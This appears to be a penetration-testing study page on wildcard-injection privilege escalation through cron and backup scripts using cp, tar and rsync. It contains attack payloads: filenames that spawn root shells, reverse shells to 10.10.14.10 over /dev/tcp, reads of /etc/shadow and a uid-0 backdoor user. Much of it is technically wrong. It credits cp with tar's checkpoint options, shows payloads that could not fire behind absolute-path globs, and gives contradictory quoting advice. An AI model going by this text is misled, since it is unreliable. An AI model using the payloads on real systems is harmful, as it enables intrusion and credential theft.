Domain 4PrivEsc & Password AttacksCORE

Wildcard Injection

Exploiting dangerous wildcard (*) usage in scripts and cron jobs to inject command-line options and execute arbitrary commands with elevated privileges.

Domain: Domain 4: Privilege Escalation & Password Attacks•Updated: 2026-09-01
#wildcard#glob-expansion#cron#backup-scripts#filename-injection#cp-injection

Wildcard Injection

Table of Contents

  1. What Is Wildcard Injection?
  2. How Shell Glob Expansion Works
  3. Why Wildcards in Scripts Are Dangerous
  4. Affected Commands
  5. cp Wildcard Injection
  6. tar Wildcard Injection
  7. rsync Wildcard Injection
  8. rm and mv Wildcard Injection
  9. Creating Malicious Filenames
  10. Common Scenarios
  11. Detection and Mitigation
  12. OSCP Exam Tips

What Is Wildcard Injection?

Definition

Wildcard injection is a privilege escalation technique that exploits the use of shell wildcards (*, ?, [...]) in scripts — particularly backup scripts and cron jobs — to inject malicious command-line options that are interpreted by the target command.

The Core Problem

When a script uses a wildcard like * without quoting it, the shell expands the wildcard to match all files in the directory before passing them to the command. If an attacker can create files with carefully crafted names in that directory, those filenames become additional arguments to the command — potentially including command-line options that trigger arbitrary code execution.

Simple Example

# Vulnerable backup script running as root:
cp /home/user/* /backup/

# Attacker creates malicious files in /home/user/:
touch '/home/user/--checkpoint=1'
touch '/home/user/--checkpoint-action=exec=/bin/sh'

# When the script runs, the shell expands * to include the malicious files:
cp /home/user/file1 /home/user/file2 /home/user/--checkpoint=1 /home/user/--checkpoint-action=exec=/bin/sh /backup/

# cp interprets --checkpoint=1 and --checkpoint-action as its own options
# Result: /bin/sh is executed as root!

How Shell Glob Expansion Works

The Expansion Process

User types:    cp /home/user/* /backup/
                    │
                    ▼
          Shell performs glob expansion
                    │
                    ▼
          Finds all files matching *
                    │
                    ▼
    cp /home/user/a.txt /home/user/b.txt
       /home/user/--checkpoint=1
       /home/user/--checkpoint-action=exec=/bin/sh
       /backup/
                    │
                    ▼
          cp receives expanded arguments
          and interprets --checkpoint as options

Wildcard Patterns

Pattern Matches Example
* Any string (including empty) * matches file.txt, --option, .hidden
? Any single character ?.txt matches a.txt but not ab.txt
[abc] Any character in brackets [ab].txt matches a.txt or b.txt
[a-z] Any character in range [a-z].txt matches a.txt through z.txt
[!abc] Any character NOT in brackets Negation of bracket content

Critical: Expansion Happens Before Command Execution

# The shell, NOT the command, performs wildcard expansion
# This means:

# 1. Shell sees: cp /home/user/* /backup/
# 2. Shell expands * to: file1 file2 --checkpoint=1 --checkpoint-action=exec=/bin/sh
# 3. Shell executes: cp /home/user/file1 /home/user/file2 /home/user/--checkpoint=1 /home/user/--checkpoint-action=exec=/bin/sh /backup/
# 4. cp receives the expanded arguments and processes them

# The command (cp, tar, rsync) has no idea that * was originally used
# It just sees a list of arguments, some of which look like options

Why This Is Different from Command Injection

Aspect Wildcard Injection Command Injection
Mechanism Filename becomes command argument/option User input injected into command string
Requires Write access to directory being globbed Input field processed by shell
Shell involvement Shell expands * to filenames Shell evaluates injected syntax
Typical target Backup scripts, cron jobs Web apps, CGI scripts
Payload format Filenames like --option=value Strings like ; id or \$(id)

Why Wildcards in Scripts Are Dangerous

The Perfect Storm

Wildcard injection requires three conditions to align:

  1. A script uses unquoted wildcards — cp /path/* /dest/ instead of cp /path/* /dest/ (properly quoted) or using find
  2. The attacker can create files in the globbed directory — write access to the source directory
  3. The target command supports dangerous options — cp has --checkpoint-action, tar has similar options

Why Cron Jobs Are the Most Common Target

# /etc/crontab — runs every 5 minutes as root
*/5 * * * * root cp /home/user/* /backup/

# This is dangerous because:
# 1. It runs automatically (attacker doesn't need to trigger it)
# 2. It runs as root (commands execute with root privileges)
# 3. It uses unquoted wildcard (shell expands * to all files)
# 4. The source directory is user-writable (attacker can create files)
Factor Why It Matters
Automatic execution Attacker creates files and waits — no interaction needed
Root privileges Injected commands run as root
User-writable source Attacker can create malicious filenames
Unquoted wildcard Shell expands to include attacker’s files

Affected Commands

Commands Vulnerable to Wildcard Injection

Command Dangerous Options Severity
cp --checkpoint-action=exec=CMD Critical
tar --checkpoint-action=exec=CMD Critical
rsync -e 'CMD' (remote shell) Critical
rm Limited (mostly destructive) Low
mv Limited Low
find -exec CMD {} \; Critical (if user controls path)

cp — Most Common Target

cp (GNU coreutils) supports checkpoint options that can execute arbitrary commands:

Option Description
--checkpoint=N Issue a signal after every Nth file
--checkpoint-action=ACTION Action to perform at checkpoint
--remove-destination Remove destination files before copying
--suffix=SUFFIX Append suffix to destination files

The --checkpoint-action option accepts exec=COMMAND, which executes an arbitrary command.

tar — Second Most Common

tar also supports checkpoint actions:

Option Description
--checkpoint=N Checkpoint interval
--checkpoint-action=ACTION Action at checkpoint
--to-command=CMD Pipe each member through command (tar 1.28+)
-I / --use-compress-program Use program for compression

rsync — Remote Sync Abuse

rsync interprets certain arguments as options:

Option Description
-e SSH_OPTS Specify remote shell
--rsync-path=PATH Path to rsync on remote side
-C / --cvs-exclude Ignore files in CVS style

cp Wildcard Injection

Vulnerable Script

# /opt/backup.sh — runs as root via cron
#!/bin/bash
cp /home/user/* /backup/

Exploitation

# Step 1: Create malicious filenames in the source directory
touch '/home/user/--checkpoint=1'
touch '/home/user/--checkpoint-action=exec=/bin/sh'

# Step 2: Wait for the cron job to run (or trigger it manually if possible)

# Step 3: When cp runs, the shell expands:
# cp /home/user/file1 /home/user/--checkpoint=1 /home/user/--checkpoint-action=exec=/bin/sh /backup/

# Step 4: cp interprets the malicious filenames as options:
# --checkpoint=1           → Set checkpoint interval to 1
# --checkpoint-action=exec=/bin/sh → Execute /bin/sh at each checkpoint

# Step 5: /bin/sh is executed as root!

Alternative cp Payloads

# Reverse shell payload
touch '/home/user/--checkpoint=1'
touch '/home/user/--checkpoint-action=exec=bash%20-i%20%3E%26%20/dev/tcp/10.10.14.10/9001%200%3E%261'

# Write a SUID binary
touch '/home/user/--checkpoint=1'
touch '/home/user/--checkpoint-action=exec=cp%20/bin/bash%20/tmp/rootshell'
# Then: chmod +s /tmp/rootshell (may need separate injection)

# Read sensitive files
touch '/home/user/--checkpoint=1'
touch '/home/user/--checkpoint-action=exec=cat%20/etc/shadow%20%3E%20/tmp/shadow'

# URL-encoded spaces use %20 in filenames
# Or use actual spaces in filenames (shell handles them)

How cp Interprets the Options

cp [OPTIONS] SOURCE... DESTINATION

When shell expands:
cp /home/user/--checkpoint=1 /home/user/--checkpoint-action=exec=/bin/sh /backup/

cp sees these arguments:
  Arg 1: /home/user/--checkpoint=1          → Option: --checkpoint=1
  Arg 2: /home/user/--checkpoint-action=exec=/bin/sh  → Option: --checkpoint-action=exec=/bin/sh
  Arg 3: /backup/                            → Destination

cp processes:
  1. Sets checkpoint interval to 1
  2. Sets checkpoint action to exec /bin/sh
  3. Starts copying files
  4. After 1 file (checkpoint reached), executes /bin/sh as root

tar Wildcard Injection

Vulnerable Script

# /opt/backup.sh — runs as root via cron
#!/bin/bash
tar cf /backup/archive.tar /home/user/*

Exploitation

# Step 1: Create malicious filenames
touch '/home/user/--checkpoint=1'
touch '/home/user/--checkpoint-action=exec=/bin/sh'

# Step 2: When tar runs:
# tar cf /backup/archive.tar /home/user/file1 /home/user/--checkpoint=1 /home/user/--checkpoint-action=exec=/bin/sh

# Step 3: tar interprets the options and executes /bin/sh as root

tar-Specific Payloads

# Standard checkpoint payload (works with most tar versions)
touch '/home/user/--checkpoint=1'
touch '/home/user/--checkpoint-action=exec=/bin/sh'

# tar --to-command (tar 1.28+)
touch '/home/user/--to-command=/bin/sh'

# tar --use-compress-program
touch '/home/user/--use-compress-program=/bin/sh'

# Note: The filename must be exactly the option name
# tar matches arguments starting with -- as options

tar Option Interpretation

tar [OPTIONS] -f ARCHIVE FILE...

When shell expands:
tar cf /backup/archive.tar /home/user/--checkpoint=1 /home/user/--checkpoint-action=exec=/bin/sh

tar sees:
  c           → Create mode
  f           → Archive file follows
  /backup/archive.tar → Archive path
  /home/user/--checkpoint=1 → Option: --checkpoint=1
  /home/user/--checkpoint-action=exec=/bin/sh → Option: --checkpoint-action=exec=/bin/sh

tar processes options and executes the command

rsync Wildcard Injection

Vulnerable Script

# /opt/backup.sh — runs as root via cron
#!/bin/bash
rsync -a /home/user/* /backup/

Exploitation

# rsync interprets -e as the remote shell option
# Create a file named: -e '/bin/sh'

touch "/home/user/-e '/bin/sh'"

# When rsync runs:
# rsync -a /home/user/file1 "/home/user/-e '/bin/sh'" /backup/

# rsync sees:
#   -a              → Archive mode
#   /home/user/file1 → Source file
#   -e              → Remote shell option
#   '/bin/sh'       → Shell to use
#   /backup/        → Destination

# rsync tries to use /bin/sh as the remote shell, executing it

rsync Payload Variations

# Basic -e payload
touch "/home/user/-e '/bin/sh'"

# With reverse shell
touch "/home/user/-e 'bash -i >& /dev/tcp/10.10.14.10/9001 0>&1'"

# Note: The filename includes the single quotes
# The actual filename on disk is: -e '/bin/sh'
# When the shell expands the wildcard, the quotes are preserved
# and rsync sees -e as an option with '/bin/sh' as its argument

Why rsync Is Different

Aspect cp/tar rsync
Payload format --option=value -e 'command'
Filename needed --checkpoint=1 -e '/bin/sh'
Quote handling No quotes needed Quotes part of filename
Reliability High Depends on rsync version

rm and mv Wildcard Injection

rm — Limited but Possible

# Vulnerable:
rm -rf /home/user/*

# rm doesn't have exec-like options, but:
# 1. You can't easily execute commands via rm options
# 2. rm -i (interactive) could be abused in some scenarios
# 3. Mainly a destructive attack vector, not privesc

# However, rm with --no-preserve-root could be dangerous:
# rm -rf /* --no-preserve-root  → Destroys the system

mv — Limited

# Vulnerable:
mv /home/user/* /backup/

# mv doesn't have command execution options
# Main risk is data manipulation, not code execution

Summary: Command Execution Capability

Command Can Execute Commands? Method
cp YES --checkpoint-action=exec=CMD
tar YES --checkpoint-action=exec=CMD
rsync YES -e 'CMD'
rm NO No exec options
mv NO No exec options

Creating Malicious Filenames

Basic Filename Creation

# cp/tar payloads
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=/bin/sh'

# The -- tells touch that what follows is a filename, not an option
# Without --, touch would interpret --checkpoint=1 as its own option

Handling Special Characters

# Filenames with spaces
touch -- '--checkpoint-action=exec=cat /etc/shadow'

# Filenames with special characters
touch -- '--checkpoint-action=exec=bash -c "id > /tmp/id"'

# Using $'\x20' for spaces in bash
touch $'--checkpoint-action=exec=bash -i >& /dev/tcp/10.10.14.10/9001 0>&1'

# Using printf for complex filenames
printf -- '--checkpoint-action=exec=/bin/sh' | xargs -0 touch --

Verifying Filenames

# List files including hidden and special names
ls -la /home/user/

# Use find to see exact filenames
find /home/user/ -maxdepth 1 -print0 | xargs -0 -n1 echo

# Check what the shell will expand * to
echo /home/user/*

Filename Encoding for Different Payloads

Payload Type Filename Command Executed
Interactive shell --checkpoint-action=exec=/bin/sh /bin/sh as root
Reverse shell --checkpoint-action=exec=bash%20-i%20%3E%26%20/dev/tcp/10.10.14.10/9001%200%3E%261 Reverse bash shell
Read shadow --checkpoint-action=exec=cat%20/etc/shadow%20%3E%20/tmp/shadow Dumps /etc/shadow
SUID copy --checkpoint-action=exec=cp%20/bin/bash%20/tmp/rbash Copies bash to /tmp
User addition --checkpoint-action=exec=useradd%20-o%20-u%200%20-g%200%20backdoor Adds root-level user

Common Scenarios

Cron Jobs with Wildcards (Most Common)

# Check for vulnerable cron jobs
cat /etc/crontab
ls -la /etc/cron.d/
crontab -l 2>/dev/null
grep -r '\*' /etc/cron* 2>/dev/null

# Common vulnerable patterns:
*/5 * * * * root cp /home/user/* /backup/
0 * * * * root tar czf /backup/backup.tar.gz /var/www/*
*/10 * * * * root rsync -a /data/* /backup/data/

Backup Scripts

# /opt/backup.sh
#!/bin/bash
# Vulnerable patterns:
cp /home/* /backup/home/
tar cf /backup/home.tar /home/*
rsync -av /var/www/* /backup/www/

# Check for these scripts:
find / -name "backup*" -type f 2>/dev/null
find / -name "*.sh" -exec grep -l '\*' {} \; 2>/dev/null
grep -r 'cp.*\*' /opt/ /usr/local/ /etc/ 2>/dev/null
grep -r 'tar.*\*' /opt/ /usr/local/ /etc/ 2>/dev/null

Log Rotation Scripts

# /etc/logrotate.d/app
/var/log/app/*.log {
    daily
    rotate 7
    compress
    # If the rotation script uses wildcards internally, it could be vulnerable
}

Real-World OSCP Machine Examples

Machine Type Vulnerable Pattern Exploit
Backup server cp /home/user/* /backup/ in cron --checkpoint-action=exec=/bin/sh
Web server tar cf /backup/www.tar /var/www/* --checkpoint-action=exec=/bin/sh
File sync rsync -a /data/* /mirror/ -e '/bin/sh'
Log cleanup rm -rf /var/log/app/* Limited (no exec)

Detection and Mitigation

Detection

# 1. Find scripts using wildcards
grep -rn '\*' /etc/cron* 2>/dev/null
grep -rn '\*' /opt/*.sh 2>/dev/null
grep -rn '\*' /usr/local/bin/*.sh 2>/dev/null

# 2. Check cron jobs specifically
cat /etc/crontab
for f in /etc/cron.d/*; do cat "$f" 2>/dev/null; done
crontab -l 2>/dev/null
sudo crontab -l 2>/dev/null

# 3. Find backup scripts
find / -name "backup*" -type f 2>/dev/null
find / -name "*.sh" -exec grep -l 'cp\|tar\|rsync' {} \; 2>/dev/null

# 4. Check for writable directories used in cron
# (If a cron job globs a directory you can write to, it's exploitable)

# 5. Look for unquoted wildcards in scripts
grep -rn '[a-z]* \*' /etc/ /opt/ /usr/local/ 2>/dev/null | grep -v '#'

Vulnerability Assessment Checklist

Check Command Exploitable If
Wildcard in cron grep '\*' /etc/crontab Unquoted * in command
Writable source dir namei -om /home/user/ Attacker can write files
Root execution Check cron user column Runs as root
Dangerous command Check command name cp, tar, rsync
No quoting Check script source * not in quotes

Mitigation

1. Quote Wildcards

# Vulnerable:
cp /home/user/* /backup/

# Fixed — quote the wildcard:
cp "/home/user/*" /backup/

# But this copies a literal file named * if no expansion desired
# Better: use find or explicit file lists

2. Use find Instead of Wildcards

# Instead of:
cp /home/user/* /backup/

# Use:
find /home/user/ -maxdepth 1 -type f -exec cp {} /backup/ \;

# Or with xargs:
find /home/user/ -maxdepth 1 -type f -print0 | xargs -0 cp -t /backup/

3. Use Explicit File Lists

# Instead of wildcard, list specific files:
cp /home/user/file1 /home/user/file2 /home/user/file3 /backup/

# Or use a configuration file:
cat /etc/backup_files.conf | while read file; do
    cp "$file" /backup/
done

4. Restrict Directory Permissions

# Prevent users from creating files in the source directory
chmod 755 /home/user/
chown root:root /home/user/

# Or use ACLs for fine-grained control
setfacl -m user:backupuser:rx /home/user/

5. Use – to Stop Option Processing

# Tell cp/tar to stop processing options after --
cp -- /home/user/* /backup/

# This prevents filenames starting with -- from being interpreted as options
# NOTE: This is the simplest and most effective fix!

Mitigation Comparison

Method Effectiveness Complexity Recommended
Add -- before wildcard High Low YES — simplest fix
Quote wildcards High Low YES
Use find instead High Medium YES — most robust
Restrict directory perms Medium Medium Supplemental
Explicit file lists High High For known files

OSCP Exam Tips

When to Look for Wildcard Injection

Indicator Action
You find a cron job with * Check if the source directory is writable
You find a backup script Look for unquoted wildcards
You can write to a directory used in cron Create malicious filenames
cp, tar, or rsync in cron with * High priority — test immediately
You’re stuck with low privs Check cron jobs for wildcard patterns

Quick Enumeration Commands

# Check all cron jobs
cat /etc/crontab 2>/dev/null
ls -la /etc/cron.d/ 2>/dev/null
for f in /etc/cron.d/*; do echo "=== $f ==="; cat "$f" 2>/dev/null; done

# Find scripts with wildcards
grep -rn '\*' /etc/cron* 2>/dev/null
grep -rn '\*' /opt/*.sh 2>/dev/null
grep -rn '\*' /usr/local/bin/*.sh 2>/dev/null

# Check if you can write to the source directories
# (Replace with actual directories from cron jobs)
touch /home/user/test_write && echo "WRITABLE" && rm /home/user/test_write

Common Exam Patterns

  1. Root cron with cp wildcard — */5 * * * * root cp /home/user/* /backup/

    • Create --checkpoint=1 and --checkpoint-action=exec=/bin/sh
    • Wait for cron to execute
  2. Root cron with tar wildcard — 0 * * * * root tar cf /backup.tar /var/www/*

    • Same payload as cp
    • May need to adjust timing
  3. rsync with -e injection — rsync -a /data/* /backup/

    • Create file named -e '/bin/sh'
    • More fragile than cp/tar
  4. User cron job — Runs as a privileged user (not root)

    • Same technique, escalates to that user’s privileges

Timing Considerations

Cron Schedule Wait Time Strategy
* * * * * Up to 1 minute Quick test
*/5 * * * * Up to 5 minutes Set up and wait
0 * * * * Up to 1 hour May need to modify cron
@reboot Until reboot Not practical for exam

If Cron Won’t Run Soon Enough

# Option 1: Modify the cron schedule (if you can edit crontab)
crontab -e
# Change */5 to * for faster execution

# Option 2: Run the script manually (if you have execute permission)
/opt/backup.sh

# Option 3: Trigger the command directly
sudo cp /home/user/* /backup/

# Option 4: Wait — sometimes the exam machine has frequent cron jobs

Key Reminders

  • -- is the fix — Adding -- before the wildcard in the script prevents option injection
  • cp and tar are the most common — Focus on these first
  • Check cron jobs early — This is one of the fastest privesc vectors
  • Filenames are the payload — The malicious content is in the filename, not the file content
  • Use touch -- — The -- prevents touch from interpreting the filename as an option
  • Test with echo first — Run echo cp /home/user/* /backup/ to see what the shell expands to

Flag Template for Wildcard Injection

[PRIVESC] Wildcard Injection
==============================
Vulnerable Script: <path>
Command: <cp/tar/rsync>
Wildcard Pattern: <pattern>
Cron Schedule: <schedule>
Running As: <user>
Source Directory: <path>
Writable By: <user>
Payload Files: <filenames created>
Exploited: yes/no
Result: <privilege level achieved>

Summary

Wildcard injection is one of the most common and reliable Linux privilege escalation techniques in the OSCP exam. The attack is elegant in its simplicity:

  1. Find a script (usually in cron) that uses unquoted wildcards with cp, tar, or rsync
  2. Verify you can write to the directory being globbed
  3. Create files with names that match dangerous command-line options
  4. Wait for the script to run (or trigger it)
  5. The shell expands * to include your malicious filenames
  6. The command interprets them as options and executes your code

This technique requires no exploits, no vulnerabilities, and no special tools — just knowledge of how shell glob expansion works and which command options can execute code. Always check cron jobs and backup scripts for unquoted wildcards during any Linux enumeration.